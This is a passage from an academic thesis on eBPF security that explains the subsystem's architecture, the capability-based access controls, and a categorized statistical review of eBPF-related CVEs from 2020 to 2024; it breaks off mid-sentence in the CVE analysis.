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Abstract

eBPF (Extended Berkeley Packet Filter) is a powerful technology that allows

programs to be executed directly in the Linux kernel within a sandbox, in a safe

and isolated environment. This capability is crucial because it allows developers

to extend kernel functionalities by dynamically inserting custom code, avoiding the

lengthy process required to modify the kernel source code or to add new modules

to it and then recompile. Unlike its predecessor BPF, eBPF programs offer great

flexibility as they can be attached at many different points in the kernel, called hook

points. This allows new high-performance networking, observability and security

tools to be created. However, the broad and promising potential of this fast-growing

technology makes it imperative to properly and thoroughly investigate its security.

Even more so, considering that operating directly at the kernel level the risk of

causing major damages to the system is significantly increased. In this regard, the

study conducted in the thesis explores in detail the cyber security state-of-the-art

of eBPF and its offensive capabilities. The paper also focuses on different use cases

of the technology, such as programs dedicated to network operations (XDP and

TC), as well as probing and tracing programs. A comprehensive overview of the

potential attack surfaces is provided, enriched by the analysis of the causes and

risks related to the eBPF-based CVEs and the study of existing attack techniques

and rootkits. The paper concludes with the results of the tests conducted during

the experimental phase using the rootkits and other attack techniques, reproduced

within a controlled environment.
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Chapter 1

Introduction

In recent years, eBPF (Extended Berkeley Packet Filter) has gained increasing

prominence in the technology landscape, revolutionizing the way operating systems

interact with applications and network services. Originally developed solely as a

system for filtering network packets, eBPF has evolved into a versatile technology

that is increasingly becoming an essential tool for a wide range of applications, in-

cluding performance monitoring, implementing advanced security mechanisms, and

the optimization of network operations.

The main reason for the growing interest of developers and companies in this tech-

nology lies in its ability to load and execute custom code directly within the kernel,

without the need to modify its source code or add new modules. Unlike traditional

approaches, which would require recompilation or rebooting of the kernel, eBPF

enables the real-time introduction of dynamic functionalities, significantly reducing

implementation time and enhancing agility in the development and maintenance

of complex systems. This approach substantially increases flexibility, allowing de-

velopers to quickly adapt the system to application or infrastructure requirements.

Additionally, it enables the use of highly specific programs designed to address tar-

geted challenges in a particular system or operational context.

The ability to execute custom logic within the kernel thus makes eBPF a tool with

very high potential, but, at the same time, it also raises important security con-

cerns. Indeed, the kernel represents the most critical part of an operating system,

and direct access to it provides a level of control that, if exploited maliciously or

without adequate protective measures, could compromise the systems’s stability, se-
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CHAPTER 1. INTRODUCTION

curity and integrity. The growing adoption of eBPF also in critical infrastructures

and complex environments, such as data centers and cloud systems, further un-

derscores the importance of conducting an in-depth investigation into the security

risks associated with this technology.

This thesis aims to address this necessity, by focusing on the identification and

analysis of existing attack surfaces in eBPF and how these could be exploited in

real-world scenarios. The research was conducted following a structured approach

divided into three main phases. In the initial phase, an extensive research was

conducted on authoritative sources, including scientific literature, technical articles

and specialized blogs. This allowed for a clear understanding of the technological

context and the security challenges associated with eBPF. In parallel, a detailed

study of the documented vulnerabilities in major security databases was conducted,

in order to identify the known weaknesses of the technology. Based on the collected

information, the second phase involved identifying and categorizing the primary

attack surfaces associated with eBPF. This activity helped to outline the most crit-

ical aspects of the technology and to understand their implications in terms of risk.

Finally, the third phase adopted a practical approach to verify and deepen what

emerged from the analysis. Tests were carried out in controlled environments, repli-

cating known attacks to assess their feasibility and to identify the kernel versions

vulnerable to these exploits. Through this process, the thesis aims to provide a com-

prehensive overview of eBPF’s offensive potential, contributing to the development

of strategies for its safe and secure utilization.

1.1 Thesis organization

The thesis is organized as follows:

• Chapter 2: This chapter starts by highlighting the significance of eBPF

technology and why it has become so important. It then provides a detailed

explanation of how eBPF works, outlining its core components, its main ap-

plications, and how privilege management is handled to ensure its secure and

appropriate use.

2



CHAPTER 1. INTRODUCTION

• Chapter 3: This chapter provides a detailed analysis of documented eBPF-

related vulnerabilities identified in the last four years. It examines the under-

lying factors contributing to the increase in vulnerabilities and explores the

potential risks these weaknesses pose to system security and stability when

exploited.

• Chapter 4: This chapter examines the primary attack surfaces through which

eBPF can be exploited as a vector for security breaches and sophisticated at-

tacks, potentially compromising system integrity and security. The analysis is

supported by examples derived from real-world attacks and existing research,

providing a comprehensive understanding of the risks and their implications.

• Chapter 5: This chapter presents the tests conducted to validate the analyses

performed in the previous chapters. These tests were carried out in controlled

environments and included the replication of known attacks which exploit

eBPF capabilities.

• Conclusions: The final chapter provides an overview of the conclusions

drawn from this work, highlighting the key findings and proposing directions

for future research.

• Appendices: The appendices include the tables containing the classification

of the CVEs analyzed in Chapter 3 and the complete reports of the tests

conducted in Chapter 5.
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Chapter 2

The eBPF Subsystem

eBPF is a powerful technology that offers an efficient way to extend kernel

functionality by allowing the injection of user-written programs while maintaining

isolation and protection through its built-in sandbox.

The acronym eBPF originated as Extended BPF, a technology born in 1992 that

was specifically focused on network packet filtering. Today, however, eBPF has

evolved far beyond its initial scope, differing significantly from the original BPF

(now known as classic BPF or cBPF ). As a result, eBPF is now recognized as an

independent term without any specific meaning or acronym associated with it. [1]

The importance and current widespread adoption of eBPF can be attributed to two

core characteristics: efficiency and versatility. These attributes are detailed below,

followed by an in-depth analysis of its architecture and contemporary applications.

2.1 Relevance of eBPF

2.1.1 Efficiency

eBPF programs can be created dynamically and injected into the kernel at

run-time. This capability greatly reduces the time required to introduce or cus-

tomize a new feature in the kernel. Without eBPF, the user is required to add

modules to the kernel and then recompile it – a process that can take several hours

or even days, depending on the infrastructure. This approach is impractical for

frequent use due to the resulting service interruptions.

The simplicity and speed of deploying an eBPF program provide programmers with
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CHAPTER 2. THE EBPF SUBSYSTEM

the flexibility to develop more customized and context-specific programs, achieving

a more precise result with respect to the problem being addressed.

2.1.2 Versatility

The concept behind eBPF is to allow the execution of bytecode at specific loca-

tions within the kernel, known as hook points (better discussed in section"insierisci").

The variety of hook points significantly expands the functionality of eBPF beyond

its original. By attaching eBPF programs to various kernel events, such as system

calls or network activity, a wide range of processes and operations can be monitored

and influenced.

As a result, eBPF can perform advanced performance monitoring and real-time

tracking of application behavior and system resource usage without significant per-

formance overhead. Additionally, it can support custom application for tracing,

profiling, and debugging, providing useful insights to help developers in code opti-

mization e troubleshoot detention. It also can enhance runtime security measures,

such as enforcing firewall policies for the isolation of potential threats.

This approach provides an almost limitless space for development, which continues

to evolve and be updated.

2.2 Architecture

The different components of eBPF are responsible for compiling, verifying, and

executing the source code developed by each program. This section discusses these

components and how they interact with each other. [2]

Figure 2.1: eBPF workflow
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The Figure (fig: 2.1) shows the workflow of typical eBPF program.

The code is generally written in a high-level language, typically C, and then

compiled into ELF bytecode using a compatible compiler. Examples of compilers

include Clang, the most commonly used option, and GCC (GNU Compiler Collec-

tion), which has recently added support for eBPF targets. This format is required

because the Linux kernel expects the code to be provided as bytecode.

When the program is loaded into the Linux kernel, it needs to go through some

further steps before reaching the hook to which it will be attached: the verifier,

which analyze the code, and JIT, which performs the dynamic translation.

2.2.1 Verifier

The verifier is an essential component of the eBPF subsystem, responsible for

ensuring that the code intended for execution is secure. This means verifying not

only that the code is syntactically correct but also that the operations it performs

are safe, taking into account the privilege level at which it will be executed. Since

the code that is introduced will be running directly in the kernel, it is critical that

this step be as reliable as possible.

The verification is performed in two main steps [3]:

1. A Directed Acyclic Graph (DAG) check, which ensures that loops and back-

ward jumps are disallowed, along with a validation of the Control Flow Graph

(CFG). The CFG represents the logical structure of the program’s execution

flow, ensuring that all branches and transitions adhere to valid execution

paths. Specifically, some of the checks performed at this step are as follows:

• Programs must have a strictly defined limit on the number of instructions

they can execute, to avoid improper occupation of the CPU. They must

terminate in a reasonable amount of time. The maximum number of

instructions is set to 4096 BPF instructions up to (but not including)

kernel version 5.1. It was increased to 1 million in subsequent versions.

• Programs cannot read uninitialized memory, to prevent memory leakage;

6
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• Network programs must read only the memory space in which the packet

they are analyzing is stored, avoiding out-of-bound memory accesses.

• Programs must release any spinlocks at the end of their execution in

order to avoid deadlock.

2. Simulation of the execution of each instruction. Starting from the first in-

struction, the verifier simulates its execution exploring all possible paths and

monitoring the resulting change in the state of the registers and stack.

If the verifier detects any irregularity, the program is rejected, so it cannot be

hooked to the intended kernel function and an error message will be returned to

the user.

2.2.2 JIT

The Just-In-Time (JIT) compiler is the component responsible for converting

eBPF bytecode into native machine code for the kernel, once it has been approved by

the verifier. This step allows a significant performance improvement in comparison

to a simple interpretation because it reduces the cost related to each instruction.

JIT can also apply optimizations to improve the code computational efficiency.

2.3 eBPF programs

This section discusses some important elements within an eBPF program.

2.3.1 Maps

During the execution of a program, a developer might need to maintain the state

or temporarily store some information. Moreover, it is usually necessary for multiple

eBPF programs to be able to communicate with each other within the kernel and

with the user-space. For this purpose, generic key-value stores are available in

eBPF, called maps.

When a map is created, the user must specify the type of map, the type of data

that will be used for the key and value, and the maximum size of the map. A user-

space process can create multiple maps, and they can be accessed by both user-space

7
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processes and eBPF programs loaded in the kernel, enabling data exchange between

the two environments. There are different types of maps, among them the main

ones are:

• BPF_MAP_TYPE_HASH: map which stores entries using key-value pairs

associated with an hash function

• BPF_MAP_TYPE_ARRAY: indexed map that provides direct access to

elements via an index

• BPF_MAP_TYPE_PROG_ARRAY: map that stores references to eBPF

programs, used to allow tail-calling between programs

• BPF_MAP_TYPE_LRU_HASH: map which stores entries using key-value

pairs associated with an hash function and the policy to remove LRU (Least

Recently Used) elements

Version v6.12-rc5 of the Linux kernel contains 36 different types of maps.

It is important to emphasize that maps enable data exchange between user-space

and kernel-space, as maps created by a user-space process can be accessed by both

user space and the kernel. A user-space process can create one to many maps.

2.3.2 Tail calls

Tail calls are the mechanism used in eBPF to allow one program to call another,

without returning to the calling program. This type of calls are very useful because

they have a minimal overhead. Differently from typical function calls, they are ex-

ecuted as a long jump and they reuse the existing stack frame, avoiding the needed

time and memory space to create a new one.

Using tail calls allows the developer to create multiple small programs and run them

in a chain, rather than one large program. This simplifies the verification tasks to

be performed by the verifier and reduces the complexity of the individual program.

For two programs to be linked using a tail call, they must belong to the same

type, meaning they must serve the same purpose and operate within the same eBPF

program category (e.g., XDP or TC). Details about program types are introduced in

8



CHAPTER 2. THE EBPF SUBSYSTEM

Section 2.3.4. Additionally, both programs must be consistent in their compilation

mode, meaning they must either be JIT-compiled or interpreted. In order to prevent

loops, the maximum number of tail calls that the initial program can make is limited

to 32 [4]. This means that during a single execution, up to 33 programs can run

consecutively: the initial program, followed by up to 32 programs linked through

tail calls (see fig. 2.2).

Two components are needed to be able to use tail calls:

• A map of type BPF_MAP_TYPE_PROG_ARRAY, that contains key-

values pairs with file descriptors of the next program to execute as values.

• The helper bpf_tail_call() who required as arguments the context, a ref-

erence to the map, and the lookup key, which is the key used to identify the

file descriptor within a the map.

Figure 2.2: Example of a tail call chain.

2.3.3 Helper functions

Helper functions are functions that facilitate interaction between the eBPF pro-

gram and the kernel. Assuming that the program can call a kernel function directly

could create compatibility problems, as it would bind the program to that specific

version of the kernel. For that reason, it calls helper functions instead, a set of

stable API offered by the kernel.

The operations performed by helpers can be various, such as modifying network

packets or map manipulation, and depend on the specific eBPF program type. De-

pending on the type of program and the hook to which it is attached determine the

9
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subset of the available helpers it can access.

The number of helpers available within the Linux Kernel continues to grow. Cur-

rently, 152 Helper functions are available in Linux version 6.5. Some examples of

the most relevant helpers and the operations they allow are shown in Table 2.1. For

a complete list, including also details on which helper functions can be used with

specific eBPF program types, the official documentation can be consulted [5] [6].

Helper Description

bpf_map_lookup_elem Perform a lookup in map for an entry associated

to key.

bpf_tail_call Trigger a tail call in order to jump into another

eBPF program.

bpf_sys_bpf Execute bpf syscall with given arguments.

bpf_get_current_comm Get the name of the current running command or

process

bpf_map_delete_elem Delete an element from map

Table 2.1: Most relevant helpers

2.3.4 Program types

After introducing eBPF technology and its capabilities, this section describes

the main types of eBPF programs that enable its potential to be exploited in dif-

ferent contexts. These programs represent the operational bases of eBPF and are

distinguished by their functionality and areas of application.

XDP - eXpress Data Path

XDP (eXpress Data Path) is a program within the eBPF ecosystem designed to

optimize network packet processing, introduced starting with Linux kernel version

10



CHAPTER 2. THE EBPF SUBSYSTEM

4.8. By attaching to a hook directly in the Network Interface Card (NIC) driver,

XDP is able to get priority access to incoming network traffic (see Figure 2.3).

Its strategic placement, in fact, allows it to process network packets before they

are handled by the kernel’s network structures, such as sk_buff, the Linux kernel

structure used to encapsulate all the packet data [7]. It should be noted that, by

accessing them still in their raw state, XDP will have access to the headers and

payload, but advanced information, such as the TCP connection or application-level

metadata, will not yet be available. These details are added later by the network

stack.

When a packet reaches the XDP hook, the program can perform various operations

on it, ranging from simple monitoring by accessing the packet’s data to modifying

its content. At the end of its activities, the program can decide the traffic flow by

selecting one of the following actions:

• DROP: The packet’s processing is terminated, thus it never leaves the NIC

driver.

• PASS: The packet continues along its normal path in the network stack.

• TX: The packet is retransmitted back to the NIC from which it was received.

• REDIRECT: The packet is redirected to another NIC, thus altering its

normal processing flow.

• ABORTED: Indicates that an error occurred while processing the packet.

The action causes the packet to be discarded [8],

The traffic manipulation capabilities, combined with the actions just described,

make XDP an extremely efficient tool for a variety of purposes. For instance, it is

ideal for traffic filtering, load balancing – thanks to its ability to redirect packets to

alternative destinations when necessary – and DDoS (Distributed Denial of Service)

mitigation, as it allows malicious packets to be preemptively discarded. Overall,

these features contribute to significant optimization of system performance.

11
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Figure 2.3: XDP and TC modules within the Linux kernel’s network stack.

TC - Traffic Control

Traffic Control (TC) is a Linux kernel mechanism used to manage and con-

trol network traffic. TC allows advanced policies to be applied for both incoming

(ingress) and outgoing (egress) traffic, such as bandwidth limitations, traffic shap-

ing, filtering, or load balancing. A TC eBPF Program is a modern and flexible

extension of Traffic Control that leverages the power of eBPF to introduce cus-

tomized logic into traffic management.

In traditional Traffic Control, packet management occurs in two distinct phases:

classification and action. First, a classifier analyzes the packet based on predefined

rules, such as the IP address or protocol used, to determine its category. Then,

the classifier passes the packet to a separate action, which decides what to do with

it—for example, whether to drop it, modify it, or forward it elsewhere. This ap-

proach is modular and often involves a series of classifiers working in sequence, all

defined within a system called a qdisc (queuing discipline).

With eBPF programs, however, the process is much more straightforward and

flexible. eBPF programs can act as classifiers, but they are not limited to simply

determining a packet’s category. Instead, they can integrate both classification and

12
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action within the same program. In other words, an eBPF program can analyze

a packet and immediately decide what to do with it, without needing to hand off

control to a separate action [9]. The possible actions are similar to those in XDP,

including passing the packet to the next stage, dropping it, or redirecting it to

another interface or queue.

While XDP operates directly in the NIC driver, TC works later in the network

stack, after packets have been processed by kernel structures like sk_buff and can

be attached to two main hook points, as shown in Figure 2.3:

• Ingress: This is the first point where packets, immediately after leaving the

NIC driver, reach the network stack before being processed by applications.

So, at this stage, the traffic is already organized into structures, is visible to

the kernel, but has not yet traversed the entire network stack.

• Egress: This is the point where packets exit the network stack, to pass

through the physical interface. It is the last point at which traffic can be

manipulated before it reaches the external network.

A TC program, similarly to XDP, can manipulate a packet by modifying its data,

filter it, or redirect its flow based on defined rules. At this stage, however, TC is

also able to access the metadata and the complete content of the packet, making

it particularly suited for applications that require more sophisticated analysis or

manipulation.

Kprobes and uprobes

Kprobes and uprobes are two types of eBPF programs designed to monitor

and execute actions on events in the kernel and user space, respectively, allowing

them to track and intervene at specific points in the operating system or applica-

tions, without requiring modifications to the source code or interrupting the sys-

tem’s operation. Thanks to this capability, they enable dynamic tracing, that is,

the insertion of probes at arbitrary points in the kernel or user-space code, even

after the code has been compiled and executed.

Kprobes and uprobes can be further categorized based on where they are at-

tached in the lifecycle of a function:
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• kprobe: attached to the entry point of a kernel function, meaning they are

triggered before the function’s code is executed.

• kretprobe: attached to the exit point of a kernel function, that is, just before

it returns a result.

• uprobe: similar to kprobes but designed for user-space code. They are at-

tached to the entry point of a function in user-space applications.

• uretprobe: analogous to kretprobes, but for tracing the exit point of user-

space functions, allowing data collection on the results of application func-

tions.ions.

. These programs can be hooked into almost any available function in both kernel

and user-space. However, there are some exceptions for security reasons. In partic-

ular, some areas of the kernel are blocked from kprobe attachment and are listed

in /sys/kernel/debug/kprobes/blacklist [9].

To use this type of program, it is necessary to specify the program type in

within the syscall bpf(), which allows loading, attaching, and managing eBPF

programs. Use BPF_PROG_TYPE_KPROBE if the target function is in the kernel, and

BPF_PROG_TYPE_UPROBE if the target function is in user space. Once attached, the

program will execute the probe function defined by the user in the eBPF code.

Tracepoints

Tracepoints are a type of eBPF program designed to monitor predefined events

within the Linux kernel, functioning similarly to kprobes and uprobes. However,

unlike the latter, which are attached to arbitrary functions in the kernel or user-

space, tracepoints rely on static tracing – predefined, static hooks embedded in

the kernel code to signal significant events, such as process state changes, file sys-

tem operations, or network activities. These hooks can be enabled or disabled at

runtime, offering flexibility without modifying the kernel code.

They can be attached to the entry or exit points of a function and are identified

by the program type BPF_PROG_TYPE_TRACEPOINT. They are highly optimized for

low overhead, making them suitable for use in production environments where per-

formance is critical. The broad range of tracepoints available in the Linux kernel
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allows for extensive monitoring capabilities, enabling practical use cases such as

tracking process execution times, diagnosing file system bottlenecks, or analyzing

network traffic flow.

2.4 Access Control in eBPF

Before proceeding with the discussion of the means through which attacks can

be performed using eBPF, it is necessary to briefly delve into how the permissions

control is managed for the execution of different types of programs. Indeed, running

an eBPF program requires privileged access to the system, and the level of privilege

required changes depending on the version of the Linux Kernel in use and the type

of program to be executed [10] [11].

To better manage the distribution of privilege, Linux includes the concept of capa-

bilities, which are a division of root privileges into a much more specific and limited

set of permissions, individually assigned to processes. In this way, the kernel man-

ages to reduce the level of privilege to be granted to each process by inserting

intermediate stages between a completely unprivileged user and root.

2.4.1 eBPF-related Kernel Capabilities

In Linux Kernel versions prior to 5.8 (excluded), accessing the system with

an eBPF program requires the user to have root privileges or the CAP_SYS_ADMIN

capability. The program is then allowed to load and execute any type of eBPF

functionality. Unprivileged users, on the other hand, are only allowed to load and

execute programs of type BPF_PROG_TYPE_SOCKET_FILTER [12]. These programs

enable users to analyze traffic passing through network sockets they have created

or have appropriate permissions to access. This includes sockets associated with

their own processes, but excludes any raw sockets or sockets owned by other users or

processes. Additionally, these programs allow traffic analysis but strictly prohibit

any modification of the traffic.

In kernel version 5.8 and later, the CAP_SYS_ADMIN capability has been further di-

vided into smaller capabilities, with the goal of enabling more features to be used

together without granting all of them, thus providing greater control. Each capabil-
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ity enables a set of operations and may also grant access to certain helper functions

considered critical. It is important to note that every eBPF program inherently

has access to helper functions specific to its program type, in order to facilitating

interactions with the kernel. However, some of these functions provide advanced

capabilities and are therefore protected by higher privilege requirements. A detailed

discussion on this topic, including the implications of critical helper functions, is

provided in Chapter 4. Furthermore, capabilities are not mutually exclusive and

can be combined, allowing multiple capabilities to be assigned to a single process to

extend its privileges. Table 2.2 outlines the specific functionalities associated with

each eBPF-related capability, as derived from the available documentation. How-

ever, the current documentation on the subject is fairly limited and lacks precise

details. As a result, determining the exact functionalities granted by each capabil-

ity – such as a complete list of accessible map types or helper functions allowed by

each of them – requires direct empirical testing, as they cannot be fully determined

from the existing sources alone.

With reference to the information in the Table 2.2, it is important to highlight the

difference between loading and attaching an eBPF program. Loading a program

involves submitting the eBPF bytecode to the kernel, where it is verified to ensure

its safety. However, until the program is attached to a specific hook, such as XDP,

TC, or tracepoints, it remains inactive and does not influence the system’s behav-

ior. For this reason, the separation between loading and attaching can be useful

for multiple purposes. For instance, it minimizes security risks by ensuring that

even if a malicious program is loaded, it cannot be executed or affect the system

without additional privileges. At the same time, it supports debugging and testing

workflows, allowing developers to load and validate programs without the risk of

inadvertently activating them.

This separation is enforced in the capability model presented, where only the

CAP_BPF capability is required to load many types of programs, while attaching

and executing them require higher privileges. This approach establishes a clear

separation of responsibilities and enhances more precise control over privilege man-

agement.

16



CHAPTER 2. THE EBPF SUBSYSTEM

Excluding CAP_SYS_ADMIN, CAP_PERFMON turns out to be the least secure, as it

allows execution of kprobe-type programs and access to kernel memory. It is impor-

tant to specify that execution of tracing programs requires the combined allocation

of CAP_PERFMON and CAP_BPF. To execute networking-related eBPF programs, in-

stead, both CAP_NET_ADMIN and CAP_BPF are required simultaneously.

2.4.2 kernel.unprivileged_bpf_disabled parameter

Introduced in version 4.4 of the Linux kernel, the parameter kernel.unprivileged

_bpf_disabled is a kernel option that can completely restrict access to eBPF func-

tionality to privileged users. It can take the following values:

• 0: if set to 0, unprivileged users can load and execute eBPF programs, but

with limited access. As discussed above, they are restricted to programs of

type BPF_PROG_TYPE_SOCKET_FILTER and have access to a limited set of map

types, such as BPF_MAP_TYPE_ARRAY and BPF_MAP_TYPE_HASH. This is usually

the default value.

• 1: if set to 1, only privileged users can access eBPF, and a machine reboot is

required to change its value.

• 2: if set to 2, only privileged users can access eBPF, but a reboot is not

required to change its value.

.

While capabilities limit privileges to the process level, the purpose of introducing

this parameter is to add another layer of security. Access to eBPF can therefore

be entirely restricted to privileged users or processes with specific capabilities that

permit it.
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Capability Allowed Features

No capabilities • Loading and attaching of

BPF_PROG_TYPE_SOCKET_FILTER.

• Restricted creation of map types;

CAP_BPF • Creation of all types of BPF maps except stackmap,

devmap, and cpumap;

• Loading of tracing, networking, and system control

type programs;

• Parallel loading of multiple programs;

CAP_PERFMON • Use of bpf_probe_read helper function, to read

data from user or kernel memory;

• Use of bpf_trace_printk to print kernel memory;

• Attaching of tracing programs.

CAP_NET_ADMIN • Interface configuration;

• Modification of routing tables;

• Attaching of networking programs, such as XDP

and TC;

• Stopping network traffic.

CAP_SYS_ADMIN • Privileged eBPF;

• Detach/unload of anything;

• Iteration over BPF objects;

• Access to all helper functions;

• All functionalities allowed by the other capabilities.

Table 2.2: eBPF-related capabilities and main features they enable
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CVEs Analysis

Before examining the risks associated to a malicious use of eBPF, it is important

to first understand the vulnerabilities inherent to its subsystem. These vulnerabili-

ties represent flaws or weaknesses in its implementation that attackers could exploit

to compromise system security. Prioritizing the examination of these issues enables

a more comprehensive evaluation of the potential dangers linked to eBPF.

This chapter delves into eBPF-related vulnerabilities, from their underlying causes

to the potential dangers they expose the system to.

3.1 The complexity problem

In computing, the term vulnerability refers to a weakness or flaw in the system,

software or network that can be exploited by an attacker to compromise the overall

security of the system by corrupting its confidentiality, integrity and/or availability.

These vulnerabilities can result from programming errors, misconfigurations, or

design issues.

Based on these premises, it can be said that an increase in complexity is directly

proportional to an increase in the probability of presence of new bugs within the

code.

Such developments necessarily raise questions about the risks faced by eBPF

in light of its exponential growth in recent years. Specifically, there are notable

concerns regarding the evolution of the verifier [13].

The verifier in fact represents the barrier that prevent malicious code to be executed
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within the kernel and therefore one of the main weak spot of the system. However,

each new feature that is introduced in eBPF results in an expansion of the verifier

code as well, where new checks will have to be inserted in order to ensure security.

For instance, just the first introduction of the helper function bpf_sk_fullsock()

led to the addition of 132 lines of code in the verifier [14], while the implementation

of bpf_for_each_map_elem() resulted in 208 new lines of code [15]. The graph in

Figure 3.1 shows how the number of lines of code (LoC) in the verifier from the

Linux Kernel v5.5, released in early 2020, compared to the latest v6.9, released in

May 2024, has increased to more than twice its original size. To be precise, over

the past four years (from 2020 to 2024), there has been a 116.95% increase in LoC

in the verifier.

Figure 3.1: Increase of eBPF verifier’s complexity in terms of lines of code (LoC)

across different Linux kernel versions

Given this significant growth, it has become increasingly challenging to track all

potential bugs within the code. In fact, to date, no study has been able to formally

verify the verifier’s current implementation [16].

In order to further investigate this issue, this study analyzed and cataloged all

known vulnerabilities related to eBPF from the past 4 years.
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3.2 Vulnerability Categorization

The information analyzed in this section was extracted from the following sources.

3.2.1 Reference databases

CVE Program

The Common Vulnerabilities and Exposures (CVE) Program is an international

initiative with the goal of identifying, defining and cataloging known cybersecurity

vulnerabilities and exposures through unique identifiers. The program is sponsored

by the Cybersecurity and Infrastructure Security Agency (CISA) under the U.S.

Department of Homeland Security (DHS) and managed by the MITRE Corpora-

tion [17].

Each recognized CVE is associated with an ID, known as CVE-ID, a short descrip-

tion, and a record date and is published in the CVE List.

NVD

The National Vulnerability Database (NVD) is a database managed by the

National Institute of Standards and Technology (NIST) of U.S. which adds some

information to each CVE published in the CVE List. Specifically, the most impor-

tant information added by NVD and useful in the analysis performed is the CVSS

v3 metric.

The Common Vulnerability Scoring System (CVSS) is a standard used to assign a

severity score to security vulnerabilities. Each vulnerability is rated on a scale from

0 to 10, where 0 represents zero impact and 10 is the level of maximum severity. In

order to assign the score, the following factors are taken into consideration [18]:

• Attack vector

• Attack complexity

• Privileges Required

• User Interaction

• Scope
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• Confidentiality Impact

• Integrity Impact

• Availability Impact

3.2.2 Analysis

To better understand the main causes and possible security hazards deriving

from CVEs in the subsystem, an analysis of eBPF-related vulnerabilities recorded

over the past four years was conducted.

The work resulted in the analysis of 74 CVEs, which were also compared with prior

research [19]. In order to facilitates the identification of trends and patterns that

could inform future security measures and risk mitigation strategies, for each CVE,

records were kept of the following aspects:

• CVE-ID: alphanumeric string that uniquely identifies the vunerability.

• Record Date: date on which the CVE was officially recorded. The year shown

in the CVE-ID format is not related to the this value, which therefore could

coincide, be earlier, or later.

• Type: brief indication aimed at identifying the underlying issue of the vul-

nerability, which does not always become evident from simply reading the

description field. Kernel address leakage, out-of-bound read or invalid input

validation are some examples of values that can be found in this field.

• Category: it identifies the main actor involved in the vulnerability. Further

details about this classification are provided below.

• Affected/fixed from version: range of kernel versions in which the vulnerability

can be exploited prior to the release of a patch. The initial affected version

is not always known.

• Description: official description of the CVE from the MITRE website.

• Exploit: in this field, records were kept of public exploits, if any.
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• Security risks: list of potential security risks that the vulnerability could

expose the system to.

• CVSS 3.x Base Score

• Privilege required: level of privilege required (low, medium, or high) in order

to exploit the vulnerability.

• Modules involved: specification of the main module (or modules) involved .

As previously mentioned, each vulnerability has been classified into a category that

allows for identifying the attack vector responsible for it. This categorization has

been carried out as follows:

1. Verifier: contains all verifier-related vulnerabilities (see Section 2.2.1 ). Specif-

ically, the Linux Kernel involved module is kernel/bpf/verifier.c.

2. Helper: contains all vulnerabilities strictly caused by one or more Helper

functions or present in the modules that handle them.

3. JIT: contains all vulnerabilities related to the JIT compiler (see Section

2.2.2). The modules typicaly involved are arch/arm/net/bpf_jit_32.c and

its equivalents in different architectures.

4. Core: contains all vulnerabilities related to data structure management, load-

ing, and execution operations – essentially, all modules that facilitate the

interaction between eBPF programs and the Kernel. An example of a mod-

ule in this category is kernel/bpf/syscall.c, which implements the bpf()

function, serving as the primary interface for executing eBPF operations.

5. Others: contains all vulnerabilities related to eBPF add-ons or components

that provide advanced functionalities that are not critical to the essential

operation of eBPF. A detailed description of the modules included into this

category is provided in the Appendix A.

As shown in the Figure 3.2, it turns out that the highest number of CVEs are as-

sociated to the Verifier, which occupies 47% of all the vulnerabilities analyzed and
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significantly surpasses all other categories.

Figure 3.2: CVEs in Linux eBPF from 2020 to 2024.

This result clearly highlights the risks associated with the continuous expansion

of the verifier, making it the primary source of potential vulnerabilities.

A deeper analysis of the causes behind these vulnerabilities reveals that, for the

verifier, the main issues are related to ALU (Arithmetic Logic Unit) errors or arise

from improper validation or initialization of the input data. Specifically, the 31% of

the verifier CVEs are attributed to ALU-related issues. This implies that the ALU

fails in accurately tracking the memory boundaries within which the process oper-

ates, leading to problems such as an improper truncation or an incorrect boundary

update. Consequently, a potential attacker is able to gain access to an unautho-

rized area of memory and, if a page-fault does not occur, to perform out-of-bounds

reads or writes, even reaching the point of achieving privilege escalation. CVE-

2022-23222 [20] is an example of this behavior. All the risks to which the analyzed

CVEs expose the system will be discussed in more detail in the next section.

The graph in Figure 3.3 presents the detailed distribution of all the causes of

verifier-related vulnerabilities.

However, it is necessary to point out that a number of vulnerabilities associated

with other components, thus categories, can be resolved by a change to the verifier
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code.

Figure 3.3: CVEs related to the eBPF verifier.

3.3 Resulting security risk

Each vulnerability exposes the system to one or more security risks, creating

potential entry points for attacks that can compromise the confidentiality, integrity,

availability, and overall security of the machine.

Five main security impacts that can result from exploiting the eBPF-related CVEs

have been identified:

1. Disruption of service: it is the type of attack that can be most easily

performed by exploiting a CVE. It can involve Denial of Service (DoS) attacks

or other types of interruption, with the main goal of making the process

unavailable (e.g. CVE-2021-3600 [21]).

2. Unauthorized disclosure of information: the goal of the attack is the

breach of system confidentiality, i.e., unauthorized access in memory leading

to the disclosure of sensitive information.

3. Unauthorized modification: depending on the context, it allows an at-

tacker to modify files, configurations, or data without authorized access. this
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then poses a major risk to system integrity because there is no control over

the data being modified. Manipulation and corruption of critical information

could also compromise the reliability of the system.

4. Container escape: allows an attacker to access running processes in the

underlying host, effectively exiting the isolated environment of the container

it is in.

5. Privilege escalation: it allows an attacker to gain a higher level of privilege

than what was permitted by the verifier. Depending on the situation and

the level of privilege obtained, it may be possible to carry out all the attacks

mentioned in the previous points. In the most severe cases, this could even

lead to complete control of the system.

The Table 3.1 indicates the number of CVEs that can be used to carry out each

type of attack. It is important to note that exploiting a single CVE can expose a

system to multiple risks simultaneously.

Security impact Number of eBPF-related

CVEs

Allows disruption of service 44

Allows unauthorized disclosure of information 30

Allows privilege escalation 23

Allows unauthorized modification 17

Allows container escape 2

Table 3.1: List of possible security risks to which the system may be exposed due

to the analyzed CVEs.

26



CHAPTER 3. CVES ANALYSIS

3.3.1 CVSS Score Discussion

As anticipated in Section 3.2.1, each of the analyzed CVEs is associated with a

CVSS score, which indicates the level of risk to the system. However, at the time of

this writing, some vulnerabilities are still awaiting for further analysis, as the rel-

evant authorities have not yet formally assigned their CVSS scores. Consequently,

any analysis of this specific data cannot be considered complete at this stage.

With the data currently collected, it is possible to observe a complete absence of

vulnerabilities assigned in the CVSS "LOW" range (score from 0.1 to 3.9), which

further emphasize the seriousness of the security threats. The remaining CVEs with

a final assigned score are divided equally between the range MEDIUM (score from

4.0 to 6.9) and HIGH (score from 7.0 to 8.9). Currently, only CVE-2022-42150 [22]

is classified as CRITICAL, with a score of 10.0.

3.3.2 Privilege required

When assigning the CVSS Score, one of the parameters that affects the rating

is the level of privilege required for an attacker to exploit the vulnerability. Ac-

cording to the official documentation, this privilege can be categorized as None,

if no authorization is needed, as Low, if user-level access is sufficient, and High, if

administrator or system-level privileges are required.

It is interesting to note that among the CVEs analyzed only 5 of them require the

maximum privilege level. Thus, this indicates that almost 90% of the vulnerabilities

can be exploited by an attacker who manages to access the system and overcome

